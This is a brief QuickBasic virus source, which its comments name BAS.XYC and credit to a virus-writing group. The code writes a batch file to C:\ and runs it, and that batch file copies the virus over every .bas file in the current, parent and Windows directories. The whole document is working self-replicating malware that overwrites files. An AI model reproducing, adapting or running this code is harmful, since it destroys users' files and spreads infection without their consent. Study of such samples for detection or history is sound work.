CLS REM The first Quick Basic infection Virus REM written by SeCoNd PaRt To HeLl REM for showing, that .BAS can be infected REM NAME of the Virus: BAS.XYC OPEN "C:\xyc.bat" FOR OUTPUT AS #1 PRINT #1, "@echo off" PRINT #1, "if exist xyc.bas copy xyc.bas C:\xyc.bas" PRINT #1, "for %%r in (*.bas ..\*.bas %windir%\*.bas) do copy C:\xyc.bas %%r" CLOSE #1 SHELL "C:\xyc.bat"